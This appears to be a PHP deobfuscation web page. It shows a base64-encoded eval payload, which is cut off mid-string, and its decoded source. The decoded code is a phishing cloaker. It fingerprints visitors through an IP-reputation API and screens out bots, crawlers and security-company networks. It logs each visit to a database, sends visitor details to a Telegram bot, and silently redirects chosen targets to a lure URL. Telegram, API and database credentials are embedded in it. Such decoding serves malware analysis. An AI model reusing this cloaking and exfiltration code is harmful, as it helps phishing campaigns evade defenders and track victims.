Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('PD9waHAKICAgICR0ZWxlZ3JhbUJvdFRva2VuID0gJzcwODE2ODA1OTg6QUFFRnFF..

Decoded Output download

<?php
    $telegramBotToken = '7081680598:AAEFqEKTHKBgnl7-cXXiP5rS3H38CBJUXAY';
    $chatID = '-1001942316651';
    $redirectURL = 'https://aispiware-latest.0gp.net/azureai'; 
    $ipQualityToken = 'Ve5SSYgvPy7cx6Sx6Qi4K8wImHyOrWms';
    $countryToRedirect = ['US', 'UA', 'GB', 'CN', 'NG', 'ID', 'PK'];
    
    // Set the sleep variable
    $sleep = true;
    
    // Obtain visitor's IP address
    $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Unknown Referrer';
    $visitorHostname = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
    $apiUrl = "https://ipqualityscore.com/api/json/ip/{$ipQualityToken}/{$visitorHostname}?strictness=2&fast=1";
    
    $dbHost = 'localhost';
    $dbUsername = 'hwsr_duppy';
    $dbPassword = 'duppy';
    $dbName = 'hwsr_kindzaza';
    
    // Function to establish a database connection
    function connectToDatabase() {
        global $dbHost, $dbUsername, $dbPassword, $dbName;
        $conn = new mysqli($dbHost, $dbUsername, $dbPassword, $dbName);
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }
        return $conn;
    }
    
    // Function to insert visitor data into the database
    function insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType) {
        $conn = connectToDatabase();
        $ip = $conn->real_escape_string($visitorHostname);
        $hostname = isset($data['host']) ? $conn->real_escape_string($data['host']) : '';
        $city = isset($data['city']) ? $conn->real_escape_string($data['city']) : '';
        $region = isset($data['region']) ? $conn->real_escape_string($data['region']) : '';
        $country = isset($data['country_code']) ? $conn->real_escape_string($data['country_code']) : '';
        $timezone = isset($data['timezone']) ? $conn->real_escape_string($data['timezone']) : '';
        $companyName = isset($data['ISP']) ? $conn->real_escape_string($data['ISP']) : '';
        $companyDomain = isset($data['organization']) ? $conn->real_escape_string($data['organization']) : '';
        $fraud_score = isset($data['fraud_score']) ? $conn->real_escape_string($data['fraud_score']) : '';
    
        $sql = "INSERT INTO visitor_data (ip, hostname, city, region, country, timezone, company_name, company_domain, fraud_score, action, referral, project, destination, page, device) 
                VALUES ('$ip', '$hostname', '$city', '$region', '$country', '$timezone', '$companyName', '$companyDomain', '$fraud_score', '$action', '$referrer', '$domainNameVariable', '$destination', '$page', '$deviceType')";
        if ($conn->query($sql) !== TRUE) {
            echo "Error: " . $sql . "<br>" . $conn->error;
        }
        $conn->close();
    }
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $apiUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
    // Execute cURL request
    $response = curl_exec($ch);
    
    // Check for errors
    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    
    // Close cURL session
    curl_close($ch);
    
    // Check if company names like Amazon, Google, Digital Ocean, or Sparklight are found in the response
    $companyNames = ['Amazon', 'Google', 'Digital Ocean', 'Facebook', 'Microsoft', 'Censys'];
    $detectedCompany = '';
    foreach ($companyNames as $company) {
        if (stripos($response, $company) !== false) {
            $detectedCompany = $company;
            break;
        }
    }
    
    // Function to extract domain name and relative document name
    function extractDomainAndPage($url) {
        // Extract domain name using regular expression
        preg_match('/^(?:https?:\/\/)?(?:[^@
]+@)?(?:www\.)?([^:\/
?]+)([^#?]+)/', $url, $matches);
    
        // Get the domain name from the matched result
        $domain = $matches[1];
        $page = $matches[2];
    
        // Remove www and any subdomains
        $domainParts = explode('.', $domain);
        if (count($domainParts) > 2 && $domainParts[0] !== 'www') {
            // If there are subdomains, use the first part as the domain name
            $domain = $domainParts[0];
        } else {
            // Otherwise, use the entire domain
            $domain = $domainParts[0];
        }
    
        // Convert to lowercase and return
        return array(strtolower($domain), $page);
    }
    
    // Get the current URL dynamically
    $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    
    // Extract domain name and relative document name
    list($domainName, $page) = extractDomainAndPage($currentUrl);
    
    // Store the name in a variable
    $domainNameVariable = str_replace(' ', '', ucwords($domainName));
    
    // Function to detect the device type based on the user agent string
    function detectDeviceType($userAgent) {
        $tabletDevices = array('iPad', 'Android', 'tablet', 'Kindle', 'Silk', 'PlayBook');
        $mobileDevices = array('iPhone', 'Android', 'webOS', 'BlackBerry', 'Windows Phone', 'Mobile');
        
        // Check if the user agent contains any tablet device keywords
        foreach ($tabletDevices as $device) {
            if (stripos($userAgent, $device) !== false) {
                return 'Tablet';
            }
        }
        
        // Check if the user agent contains any mobile device keywords
        foreach ($mobileDevices as $device) {
            if (stripos($userAgent, $device) !== false) {
                return 'Mobile';
            }
        }
        
        // If not a tablet or mobile device, consider it a desktop
        return 'Desktop';
    }
    
    // Get the user agent string
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    
    // Detect the device type
    $deviceType = detectDeviceType($userAgent);
    
    // Decode the JSON response
    $data = json_decode($response, true);
    
    // Extract relevant information
    $fraudScore = $data['fraud_score'] ?? null;
    $isCrawler = $data['is_crawler'] ?? null;
    $recentAbuse = $data['recent_abuse'] ?? null;
    $botStatus = $data['bot_status'] ?? null;
    $countryCode = $data['country_code'] ?? null;
    $host = $data['host'] ?? null;
    
    // Prepare message to send to Telegram
    $message = " Visitor Details: {$domainNameVariable} 
";
    $message .= " page: {$page} 
";
    $message .= " Country: {$countryCode}
";
    $message .= " IP Address: {$visitorHostname}
";
    $message .= " Host: {$host}
";
    $message .= " Device Type: {$deviceType} 
";
    $message .= " Refferal : {$referrer} 
";
    
    // Include fraud score if available
    if (!is_null($fraudScore)) {
        $message .= " Fraud Score: {$fraudScore}
";
    }
    
    // Include additional details if available
    if ($isCrawler) {
        $message .= " Visitor is a web crawler
";
    }
    
    if ($recentAbuse) {
        $message .= " Visitor has recent abuse
";
    }
    
    if ($botStatus) {
        $message .= " Visitor bot status is true
";
    }
    
    // Include company name if detected
    if (!empty($detectedCompany)) {
        $message .= " Company detected: {$detectedCompany}
";
    }
    
    // Check if the country code is not US or AU
    if (!in_array($countryCode, $countryToRedirect)) {
        $replyID = 6;
        $action = 'DNT';
        $message .= " Country Not: " . implode(' OR ', $countryToRedirect) . "
";
        $message .= "Visitor has been prevented from continuing the project {$domainNameVariable}";
        $destination = "Stale fish";
        insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
    } elseif (!empty($detectedCompany) || $fraudScore > 70 || $isCrawler || $botStatus || $recentAbuse) {
    
        $redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
        $country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
    
        $replyID = 2;
        $action = 'DNT';
        $message .= " Detected Company or a violation
";
        $message .= "Visitor has been prevented from visiting: {$redirectURL}";
        $destination = $redirectURL;
        insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
    } else {
        // Conditionally execute loadPageContent based on the value of $sleep
        if ($sleep) {
            $replyID = 6;
            $action = 'DNT';
            $message .= " Code is asleep";
            $destination = "code is asleep";
            insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
    
        } else {
            $redirectURL = in_array($countryCode, $countryToRedirect) ? $redirectURL : $secondRedirectURL;
            $country = in_array($countryCode, $countryToRedirect) ? $countryToRedirect : $secondCountryToRedirect;
            
            $replyID = 4;
            $action = 'SENT';
            $message .= " Visitor from {$country} has been redirected to: {$redirectURL}";
            // Send message to Telegram
            $destination = $redirectURL;
            sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
            insertVisitorData($data, $action, $visitorHostname, $referrer, $domainNameVariable, $destination, $page, $deviceType);
            // Call the function to perform the silent redirect
            redirectToUrl($redirectURL);
        }
    }
    
    // Send message to Telegram
    sendMessageToTelegram($telegramBotToken, $chatID, $message, $replyID);
    
    // Function to send message to Telegram with the right reply ID
    function sendMessageToTelegram($token, $chatID, $message, $replyID) {
        $telegramApiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
        $params = array(
            'chat_id' => $chatID,
            'text' => $message,
            'reply_to_message_id' => $replyID
        );
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        
        $response = curl_exec($ch);
        
        if (curl_errno($ch)) {
            echo 'Telegram API error: ' . curl_error($ch);
        }
        
        curl_close($ch);
    }
    
    // Function to perform a silent redirect to the specified URL
    function redirectToUrl($url) {
        // Send a redirect header without any notification
        header("Location: $url");
        // Terminate the script execution
        exit();
    }
    ?>

Did this file decode correctly?

Original Code

<?php eval(base64_decode('PD9waHAKICAgICR0ZWxlZ3JhbUJvdFRva2VuID0gJzcwODE2ODA1OTg6QUFFRnFFS1RIS0Jnbmw3LWNYWGlQNXJTM0gzOENCSlVYQVknOwogICAgJGNoYXRJRCA9ICctMTAwMTk0MjMxNjY1MSc7CiAgICAkcmVkaXJlY3RVUkwgPSAnaHR0cHM6Ly9haXNwaXdhcmUtbGF0ZXN0LjBncC5uZXQvYXp1cmVhaSc7IAogICAgJGlwUXVhbGl0eVRva2VuID0gJ1ZlNVNTWWd2UHk3Y3g2U3g2UWk0Szh3SW1IeU9yV21zJzsKICAgICRjb3VudHJ5VG9SZWRpcmVjdCA9IFsnVVMnLCAnVUEnLCAnR0InLCAnQ04nLCAnTkcnLCAnSUQnLCAnUEsnXTsKICAgIAogICAgLy8gU2V0IHRoZSBzbGVlcCB2YXJpYWJsZQogICAgJHNsZWVwID0gdHJ1ZTsKICAgIAogICAgLy8gT2J0YWluIHZpc2l0b3IncyBJUCBhZGRyZXNzCiAgICAkcmVmZXJyZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJ1Vua25vd24gUmVmZXJyZXInOwogICAgJHZpc2l0b3JIb3N0bmFtZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSkgPyAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10gOiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICRhcGlVcmwgPSAiaHR0cHM6Ly9pcHF1YWxpdHlzY29yZS5jb20vYXBpL2pzb24vaXAveyRpcFF1YWxpdHlUb2tlbn0veyR2aXNpdG9ySG9zdG5hbWV9P3N0cmljdG5lc3M9MiZmYXN0PTEiOwogICAgCiAgICAkZGJIb3N0ID0gJ2xvY2FsaG9zdCc7CiAgICAkZGJVc2VybmFtZSA9ICdod3NyX2R1cHB5JzsKICAgICRkYlBhc3N3b3JkID0gJ2R1cHB5JzsKICAgICRkYk5hbWUgPSAnaHdzcl9raW5kemF6YSc7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIGVzdGFibGlzaCBhIGRhdGFiYXNlIGNvbm5lY3Rpb24KICAgIGZ1bmN0aW9uIGNvbm5lY3RUb0RhdGFiYXNlKCkgewogICAgICAgIGdsb2JhbCAkZGJIb3N0LCAkZGJVc2VybmFtZSwgJGRiUGFzc3dvcmQsICRkYk5hbWU7CiAgICAgICAgJGNvbm4gPSBuZXcgbXlzcWxpKCRkYkhvc3QsICRkYlVzZXJuYW1lLCAkZGJQYXNzd29yZCwgJGRiTmFtZSk7CiAgICAgICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICAgICAgICAgIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkY29ubjsKICAgIH0KICAgIAogICAgLy8gRnVuY3Rpb24gdG8gaW5zZXJ0IHZpc2l0b3IgZGF0YSBpbnRvIHRoZSBkYXRhYmFzZQogICAgZnVuY3Rpb24gaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpIHsKICAgICAgICAkY29ubiA9IGNvbm5lY3RUb0RhdGFiYXNlKCk7CiAgICAgICAgJGlwID0gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkdmlzaXRvckhvc3RuYW1lKTsKICAgICAgICAkaG9zdG5hbWUgPSBpc3NldCgkZGF0YVsnaG9zdCddKSA/ICRjb25uLT5yZWFsX2VzY2FwZV9zdHJpbmcoJGRhdGFbJ2hvc3QnXSkgOiAnJzsKICAgICAgICAkY2l0eSA9IGlzc2V0KCRkYXRhWydjaXR5J10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnY2l0eSddKSA6ICcnOwogICAgICAgICRyZWdpb24gPSBpc3NldCgkZGF0YVsncmVnaW9uJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsncmVnaW9uJ10pIDogJyc7CiAgICAgICAgJGNvdW50cnkgPSBpc3NldCgkZGF0YVsnY291bnRyeV9jb2RlJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnY291bnRyeV9jb2RlJ10pIDogJyc7CiAgICAgICAgJHRpbWV6b25lID0gaXNzZXQoJGRhdGFbJ3RpbWV6b25lJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsndGltZXpvbmUnXSkgOiAnJzsKICAgICAgICAkY29tcGFueU5hbWUgPSBpc3NldCgkZGF0YVsnSVNQJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnSVNQJ10pIDogJyc7CiAgICAgICAgJGNvbXBhbnlEb21haW4gPSBpc3NldCgkZGF0YVsnb3JnYW5pemF0aW9uJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnb3JnYW5pemF0aW9uJ10pIDogJyc7CiAgICAgICAgJGZyYXVkX3Njb3JlID0gaXNzZXQoJGRhdGFbJ2ZyYXVkX3Njb3JlJ10pID8gJGNvbm4tPnJlYWxfZXNjYXBlX3N0cmluZygkZGF0YVsnZnJhdWRfc2NvcmUnXSkgOiAnJzsKICAgIAogICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gdmlzaXRvcl9kYXRhIChpcCwgaG9zdG5hbWUsIGNpdHksIHJlZ2lvbiwgY291bnRyeSwgdGltZXpvbmUsIGNvbXBhbnlfbmFtZSwgY29tcGFueV9kb21haW4sIGZyYXVkX3Njb3JlLCBhY3Rpb24sIHJlZmVycmFsLCBwcm9qZWN0LCBkZXN0aW5hdGlvbiwgcGFnZSwgZGV2aWNlKSAKICAgICAgICAgICAgICAgIFZBTFVFUyAoJyRpcCcsICckaG9zdG5hbWUnLCAnJGNpdHknLCAnJHJlZ2lvbicsICckY291bnRyeScsICckdGltZXpvbmUnLCAnJGNvbXBhbnlOYW1lJywgJyRjb21wYW55RG9tYWluJywgJyRmcmF1ZF9zY29yZScsICckYWN0aW9uJywgJyRyZWZlcnJlcicsICckZG9tYWluTmFtZVZhcmlhYmxlJywgJyRkZXN0aW5hdGlvbicsICckcGFnZScsICckZGV2aWNlVHlwZScpIjsKICAgICAgICBpZiAoJGNvbm4tPnF1ZXJ5KCRzcWwpICE9PSBUUlVFKSB7CiAgICAgICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJHNxbCAuICI8YnI+IiAuICRjb25uLT5lcnJvcjsKICAgICAgICB9CiAgICAgICAgJGNvbm4tPmNsb3NlKCk7CiAgICB9CiAgICAKICAgIC8vIEluaXRpYWxpemUgY1VSTCBzZXNzaW9uCiAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgIAogICAgLy8gU2V0IGNVUkwgb3B0aW9ucwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGFwaVVybCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgCiAgICAvLyBFeGVjdXRlIGNVUkwgcmVxdWVzdAogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAKICAgIC8vIENoZWNrIGZvciBlcnJvcnMKICAgIGlmIChjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICBlY2hvICdDdXJsIGVycm9yOiAnIC4gY3VybF9lcnJvcigkY2gpOwogICAgfQogICAgCiAgICAvLyBDbG9zZSBjVVJMIHNlc3Npb24KICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIAogICAgLy8gQ2hlY2sgaWYgY29tcGFueSBuYW1lcyBsaWtlIEFtYXpvbiwgR29vZ2xlLCBEaWdpdGFsIE9jZWFuLCBvciBTcGFya2xpZ2h0IGFyZSBmb3VuZCBpbiB0aGUgcmVzcG9uc2UKICAgICRjb21wYW55TmFtZXMgPSBbJ0FtYXpvbicsICdHb29nbGUnLCAnRGlnaXRhbCBPY2VhbicsICdGYWNlYm9vaycsICdNaWNyb3NvZnQnLCAnQ2Vuc3lzJ107CiAgICAkZGV0ZWN0ZWRDb21wYW55ID0gJyc7CiAgICBmb3JlYWNoICgkY29tcGFueU5hbWVzIGFzICRjb21wYW55KSB7CiAgICAgICAgaWYgKHN0cmlwb3MoJHJlc3BvbnNlLCAkY29tcGFueSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkZXRlY3RlZENvbXBhbnkgPSAkY29tcGFueTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBGdW5jdGlvbiB0byBleHRyYWN0IGRvbWFpbiBuYW1lIGFuZCByZWxhdGl2ZSBkb2N1bWVudCBuYW1lCiAgICBmdW5jdGlvbiBleHRyYWN0RG9tYWluQW5kUGFnZSgkdXJsKSB7CiAgICAgICAgLy8gRXh0cmFjdCBkb21haW4gbmFtZSB1c2luZyByZWd1bGFyIGV4cHJlc3Npb24KICAgICAgICBwcmVnX21hdGNoKCcvXig/Omh0dHBzPzpcL1wvKT8oPzpbXkAKXStAKT8oPzp3d3dcLik/KFteOlwvCj9dKykoW14jP10rKS8nLCAkdXJsLCAkbWF0Y2hlcyk7CiAgICAKICAgICAgICAvLyBHZXQgdGhlIGRvbWFpbiBuYW1lIGZyb20gdGhlIG1hdGNoZWQgcmVzdWx0CiAgICAgICAgJGRvbWFpbiA9ICRtYXRjaGVzWzFdOwogICAgICAgICRwYWdlID0gJG1hdGNoZXNbMl07CiAgICAKICAgICAgICAvLyBSZW1vdmUgd3d3IGFuZCBhbnkgc3ViZG9tYWlucwogICAgICAgICRkb21haW5QYXJ0cyA9IGV4cGxvZGUoJy4nLCAkZG9tYWluKTsKICAgICAgICBpZiAoY291bnQoJGRvbWFpblBhcnRzKSA+IDIgJiYgJGRvbWFpblBhcnRzWzBdICE9PSAnd3d3JykgewogICAgICAgICAgICAvLyBJZiB0aGVyZSBhcmUgc3ViZG9tYWlucywgdXNlIHRoZSBmaXJzdCBwYXJ0IGFzIHRoZSBkb21haW4gbmFtZQogICAgICAgICAgICAkZG9tYWluID0gJGRvbWFpblBhcnRzWzBdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIE90aGVyd2lzZSwgdXNlIHRoZSBlbnRpcmUgZG9tYWluCiAgICAgICAgICAgICRkb21haW4gPSAkZG9tYWluUGFydHNbMF07CiAgICAgICAgfQogICAgCiAgICAgICAgLy8gQ29udmVydCB0byBsb3dlcmNhc2UgYW5kIHJldHVybgogICAgICAgIHJldHVybiBhcnJheShzdHJ0b2xvd2VyKCRkb21haW4pLCAkcGFnZSk7CiAgICB9CiAgICAKICAgIC8vIEdldCB0aGUgY3VycmVudCBVUkwgZHluYW1pY2FsbHkKICAgICRjdXJyZW50VXJsID0gKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICJodHRwcyIgOiAiaHR0cCIpIC4gIjovLyIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgIAogICAgLy8gRXh0cmFjdCBkb21haW4gbmFtZSBhbmQgcmVsYXRpdmUgZG9jdW1lbnQgbmFtZQogICAgbGlzdCgkZG9tYWluTmFtZSwgJHBhZ2UpID0gZXh0cmFjdERvbWFpbkFuZFBhZ2UoJGN1cnJlbnRVcmwpOwogICAgCiAgICAvLyBTdG9yZSB0aGUgbmFtZSBpbiBhIHZhcmlhYmxlCiAgICAkZG9tYWluTmFtZVZhcmlhYmxlID0gc3RyX3JlcGxhY2UoJyAnLCAnJywgdWN3b3JkcygkZG9tYWluTmFtZSkpOwogICAgCiAgICAvLyBGdW5jdGlvbiB0byBkZXRlY3QgdGhlIGRldmljZSB0eXBlIGJhc2VkIG9uIHRoZSB1c2VyIGFnZW50IHN0cmluZwogICAgZnVuY3Rpb24gZGV0ZWN0RGV2aWNlVHlwZSgkdXNlckFnZW50KSB7CiAgICAgICAgJHRhYmxldERldmljZXMgPSBhcnJheSgnaVBhZCcsICdBbmRyb2lkJywgJ3RhYmxldCcsICdLaW5kbGUnLCAnU2lsaycsICdQbGF5Qm9vaycpOwogICAgICAgICRtb2JpbGVEZXZpY2VzID0gYXJyYXkoJ2lQaG9uZScsICdBbmRyb2lkJywgJ3dlYk9TJywgJ0JsYWNrQmVycnknLCAnV2luZG93cyBQaG9uZScsICdNb2JpbGUnKTsKICAgICAgICAKICAgICAgICAvLyBDaGVjayBpZiB0aGUgdXNlciBhZ2VudCBjb250YWlucyBhbnkgdGFibGV0IGRldmljZSBrZXl3b3JkcwogICAgICAgIGZvcmVhY2ggKCR0YWJsZXREZXZpY2VzIGFzICRkZXZpY2UpIHsKICAgICAgICAgICAgaWYgKHN0cmlwb3MoJHVzZXJBZ2VudCwgJGRldmljZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJ1RhYmxldCc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gQ2hlY2sgaWYgdGhlIHVzZXIgYWdlbnQgY29udGFpbnMgYW55IG1vYmlsZSBkZXZpY2Uga2V5d29yZHMKICAgICAgICBmb3JlYWNoICgkbW9iaWxlRGV2aWNlcyBhcyAkZGV2aWNlKSB7CiAgICAgICAgICAgIGlmIChzdHJpcG9zKCR1c2VyQWdlbnQsICRkZXZpY2UpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICdNb2JpbGUnOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIElmIG5vdCBhIHRhYmxldCBvciBtb2JpbGUgZGV2aWNlLCBjb25zaWRlciBpdCBhIGRlc2t0b3AKICAgICAgICByZXR1cm4gJ0Rlc2t0b3AnOwogICAgfQogICAgCiAgICAvLyBHZXQgdGhlIHVzZXIgYWdlbnQgc3RyaW5nCiAgICAkdXNlckFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwogICAgCiAgICAvLyBEZXRlY3QgdGhlIGRldmljZSB0eXBlCiAgICAkZGV2aWNlVHlwZSA9IGRldGVjdERldmljZVR5cGUoJHVzZXJBZ2VudCk7CiAgICAKICAgIC8vIERlY29kZSB0aGUgSlNPTiByZXNwb25zZQogICAgJGRhdGEgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UsIHRydWUpOwogICAgCiAgICAvLyBFeHRyYWN0IHJlbGV2YW50IGluZm9ybWF0aW9uCiAgICAkZnJhdWRTY29yZSA9ICRkYXRhWydmcmF1ZF9zY29yZSddID8/IG51bGw7CiAgICAkaXNDcmF3bGVyID0gJGRhdGFbJ2lzX2NyYXdsZXInXSA/PyBudWxsOwogICAgJHJlY2VudEFidXNlID0gJGRhdGFbJ3JlY2VudF9hYnVzZSddID8/IG51bGw7CiAgICAkYm90U3RhdHVzID0gJGRhdGFbJ2JvdF9zdGF0dXMnXSA/PyBudWxsOwogICAgJGNvdW50cnlDb2RlID0gJGRhdGFbJ2NvdW50cnlfY29kZSddID8/IG51bGw7CiAgICAkaG9zdCA9ICRkYXRhWydob3N0J10gPz8gbnVsbDsKICAgIAogICAgLy8gUHJlcGFyZSBtZXNzYWdlIHRvIHNlbmQgdG8gVGVsZWdyYW0KICAgICRtZXNzYWdlID0gIvCflbggVmlzaXRvciBEZXRhaWxzOiB7JGRvbWFpbk5hbWVWYXJpYWJsZX0gXG4iOwogICAgJG1lc3NhZ2UgLj0gIvCfk5wgcGFnZTogeyRwYWdlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAiIENvdW50cnk6IHskY291bnRyeUNvZGV9XG4iOwogICAgJG1lc3NhZ2UgLj0gIiBJUCBBZGRyZXNzOiB7JHZpc2l0b3JIb3N0bmFtZX1cbiI7CiAgICAkbWVzc2FnZSAuPSAi8J+XhCBIb3N0OiB7JGhvc3R9XG4iOwogICAgJG1lc3NhZ2UgLj0gIu+4jyBEZXZpY2UgVHlwZTogeyRkZXZpY2VUeXBlfSBcbiI7CiAgICAkbWVzc2FnZSAuPSAi4p2EIFJlZmZlcmFsIDogeyRyZWZlcnJlcn0gXG4iOwogICAgCiAgICAvLyBJbmNsdWRlIGZyYXVkIHNjb3JlIGlmIGF2YWlsYWJsZQogICAgaWYgKCFpc19udWxsKCRmcmF1ZFNjb3JlKSkgewogICAgICAgICRtZXNzYWdlIC49ICIgRnJhdWQgU2NvcmU6IHskZnJhdWRTY29yZX1cbiI7CiAgICB9CiAgICAKICAgIC8vIEluY2x1ZGUgYWRkaXRpb25hbCBkZXRhaWxzIGlmIGF2YWlsYWJsZQogICAgaWYgKCRpc0NyYXdsZXIpIHsKICAgICAgICAkbWVzc2FnZSAuPSAiIFZpc2l0b3IgaXMgYSB3ZWIgY3Jhd2xlclxuIjsKICAgIH0KICAgIAogICAgaWYgKCRyZWNlbnRBYnVzZSkgewogICAgICAgICRtZXNzYWdlIC49ICLwn46vIFZpc2l0b3IgaGFzIHJlY2VudCBhYnVzZVxuIjsKICAgIH0KICAgIAogICAgaWYgKCRib3RTdGF0dXMpIHsKICAgICAgICAkbWVzc2FnZSAuPSAiIFZpc2l0b3IgYm90IHN0YXR1cyBpcyB0cnVlXG4iOwogICAgfQogICAgCiAgICAvLyBJbmNsdWRlIGNvbXBhbnkgbmFtZSBpZiBkZXRlY3RlZAogICAgaWYgKCFlbXB0eSgkZGV0ZWN0ZWRDb21wYW55KSkgewogICAgICAgICRtZXNzYWdlIC49ICIgQ29tcGFueSBkZXRlY3RlZDogeyRkZXRlY3RlZENvbXBhbnl9XG4iOwogICAgfQogICAgCiAgICAvLyBDaGVjayBpZiB0aGUgY291bnRyeSBjb2RlIGlzIG5vdCBVUyBvciBBVQogICAgaWYgKCFpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkpIHsKICAgICAgICAkcmVwbHlJRCA9IDY7CiAgICAgICAgJGFjdGlvbiA9ICdETlQnOwogICAgICAgICRtZXNzYWdlIC49ICLwn5+oIENvdW50cnkgTm90OiAiIC4gaW1wbG9kZSgnIE9SICcsICRjb3VudHJ5VG9SZWRpcmVjdCkgLiAiXG4iOwogICAgICAgICRtZXNzYWdlIC49ICJWaXNpdG9yIGhhcyBiZWVuIHByZXZlbnRlZCBmcm9tIGNvbnRpbnVpbmcgdGhlIHByb2plY3QgeyRkb21haW5OYW1lVmFyaWFibGV9IjsKICAgICAgICAkZGVzdGluYXRpb24gPSAiU3RhbGUgZmlzaCI7CiAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgCiAgICB9IGVsc2VpZiAoIWVtcHR5KCRkZXRlY3RlZENvbXBhbnkpIHx8ICRmcmF1ZFNjb3JlID4gNzAgfHwgJGlzQ3Jhd2xlciB8fCAkYm90U3RhdHVzIHx8ICRyZWNlbnRBYnVzZSkgewogICAgCiAgICAgICAgJHJlZGlyZWN0VVJMID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJHJlZGlyZWN0VVJMIDogJHNlY29uZFJlZGlyZWN0VVJMOwogICAgICAgICRjb3VudHJ5ID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJGNvdW50cnlUb1JlZGlyZWN0IDogJHNlY29uZENvdW50cnlUb1JlZGlyZWN0OwogICAgCiAgICAgICAgJHJlcGx5SUQgPSAyOwogICAgICAgICRhY3Rpb24gPSAnRE5UJzsKICAgICAgICAkbWVzc2FnZSAuPSAi4p2MIERldGVjdGVkIENvbXBhbnkgb3